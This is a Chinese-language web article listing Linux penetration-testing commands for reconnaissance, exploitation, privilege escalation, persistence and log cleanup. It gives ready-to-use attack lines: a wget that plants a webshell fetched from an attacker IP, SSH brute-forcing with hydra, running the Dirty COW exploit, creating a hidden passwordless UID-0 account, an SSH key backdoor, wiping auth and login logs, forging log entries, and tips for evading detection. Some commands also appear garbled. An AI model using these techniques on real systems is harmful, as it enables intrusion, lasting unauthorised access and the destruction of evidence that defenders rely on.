菜鸟科技网

Linux渗透命令有哪些常用技巧?

Linux 渗透测试中,命令行是核心工具,通过系统自带命令或常用工具组合,可高效完成信息收集、漏洞利用、权限提升等任务,以下从信息收集、漏洞利用、权限提升、持久化控制、痕迹清理五个维度,结合具体命令和案例展开说明。

Linux渗透命令有哪些常用技巧?-图1
(图片来源网络,侵删)

信息收集

信息收集是渗透测试的第一步,需明确目标系统的基础信息、开放服务及潜在漏洞。

主机与网络信息

  • 基础信息探测:使用 uname -a 查看内核版本及系统架构(如 x86_64arm64),cat /etc/issuecat /etc/os-release 获取系统发行版(如 Ubuntu 20.04、CentOS 7)。
  • 网络配置ifconfigip a 查看本地IP、子网掩码及MAC地址;route -nip route 查看路由表,识别网关及网络拓扑;netstat -anss -tulnp 查看端口监听状态(-t TCP、-u UDP、-l 仅监听、-n 避免DNS解析),重点关注80(HTTP)、22(SSH)、443(HTTPS)等高危端口。
  • 活跃主机探测:通过 nmap -sn 192.168.1.0/24 快速扫描网段内存活主机(-sn 禁用端口扫描),结合 nmap -sV -p- 192.168.1.100 对目标主机进行全端口服务版本检测(-sV 获取服务版本、-p- 扫描1-65535端口)。

用户与权限信息

  • 用户列表cat /etc/passwd 查看所有用户(第三字段为UID,0为root),cat /etc/shadow 查看用户密码哈希(需root权限);whoami 查看当前用户,wlast 查看当前登录用户及历史登录记录。
  • SUID/SGID文件find / -perm -4000 -type f 查找具有SUID权限的文件(可提权),find / -perm -2000 -type f 查找SGID文件,常见如 /usr/bin/passwd/bin/su

漏洞利用

发现漏洞后,需利用系统命令或工具组合实现初始访问或权限获取。

服务漏洞利用

  • Web服务漏洞:若目标开放80端口,可通过 curl -I http://192.168.1.100 查看HTTP响应头(如Server版本),结合 nikto -h http://192.168.1.100 扫描Web目录及已知漏洞(如后台路径、未授权访问),若存在文件上传漏洞,可利用 wget http://攻击者IP/exploit.php -O /var/www/html/shell.php 上传Webshell。
  • 远程服务漏洞:针对SSH弱口令,使用 hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 进行暴力破解(-l 用户名、-P 密码字典);若发现MS17-010 EternalBlue漏洞,可使用 msfconsole 配置模块 exploit/windows/smb/ms17_010_eternalblue 进行攻击。

公开漏洞利用

  • 内核漏洞:通过 uname -r 查看内核版本,结合 searchsploit "Linux Kernel 4.4.0" 搜索已知漏洞(如CVE-2016-5195 Dirty COW),利用编译好的exp提权(如 gcc dirtycow.c -o dirtycow -pthread && ./dirtycow /bin/bash)。

权限提升

获取低权限shell后,需通过系统配置或服务漏洞提升至root权限。

内核提权

利用内核漏洞(如Dirty COW、CVE-2021-4034)、SUID提权(如 ./chmod +s /bin/bash 后执行 bash -p 获取root shell)、或定时任务提权(如 crontab -l 查看定时任务,若存在 * * * * * cp /script.sh /tmp//script.sh可写,则植入恶意代码)。

Linux渗透命令有哪些常用技巧?-图2
(图片来源网络,侵删)

环境变量提权

检查 echo $PATH 查看环境变量,若存在 PATH=/usr/local/bin:/usr/bin:/bin 且目录可写,可替换常用命令(如 /usr/bin/find)为恶意脚本(如 find 替换为 cp /bin/bash /tmp/bash && chmod +s /tmp/bash),触发后获取root权限。

持久化控制

为维持对目标系统的访问,需创建后门或隐藏账户。

  • 隐藏账户useradd -u 0 -o -m hacker 创建UID为0的root用户(-u 0 指定UID、-o 允许重复UID、-m 创建家目录),passwd hacker 设置密码后,修改 /etc/passwd 中隐藏字段(如将 hacker:x:0:0::/home/hacker:/bin/bash 改为 hacker::0:0::/home/hacker:/bin/bash 去掉密码字段,通过 su - hacker 直接登录)。
  • SSH公钥后门mkdir -p /home/hacker/.ssh && echo "ssh-rsa AAAAB3NzaC1yc2E... hacker@kali" >> /home/hacker/.ssh/authorized_keys,设置权限 chmod 700 /home/hacker/.ssh && chmod 600 /home/hacker/.ssh/authorized_keys,即可通过 ssh hacker@192.168.1.100 无密码登录。

痕迹清理

渗透完成后,需清除日志避免被溯源。

  • 日志清理cat /dev/null > /var/log/auth.log(清空SSH登录日志)、cat /dev/null > /var/log/wtmp(清空登录历史)、cat /dev/null > /var/log/secure(CentOS系统日志);使用 logger -p auth.info "SSH login from 192.168.1.100" 伪造正常登录日志混淆视听。
  • 历史命令清理history -c 清空当前会话历史,echo "" > ~/.bash_history 覆盖历史文件,或修改 /etc/profile 设置 HISTSIZE=0 禁用历史记录。

相关问答FAQs

Q1: 如何快速判断Linux系统是否存在SUID提权漏洞?
A: 可通过 find / -perm -4000 -type f -exec ls -la {} \; 查找所有SUID文件,重点关注常见命令(如 /usr/bin/passwd/bin/su/usr/bin/newgrp),可使用 Linux Exploit Suggester 工具(如 linux-exploit-suggester.sh)结合内核版本自动匹配已知提权漏洞,或手动检查 /etc/passwd/etc/shadow 权限(如确保 /etc/shadow 权限为640,非root用户不可写)。

Linux渗透命令有哪些常用技巧?-图3
(图片来源网络,侵删)

Q2: 渗透测试中,如何避免被目标系统检测?
A: 可从以下方面规避检测:① 使用加密通信(如SSH隧道、HTTPS),避免明文传输命令;② 控制操作频率,避免短时间内大量请求触发防火墙规则;③ 伪造用户代理(如curl -A "Mozilla/5.0")和IP地址(如通过代理链);④ 清理日志时,优先覆盖而非删除日志文件(删除可能触发日志监控告警),并伪造正常操作日志(如模拟普通用户登录、文件访问)。

分享:
扫描分享到社交APP
上一篇
下一篇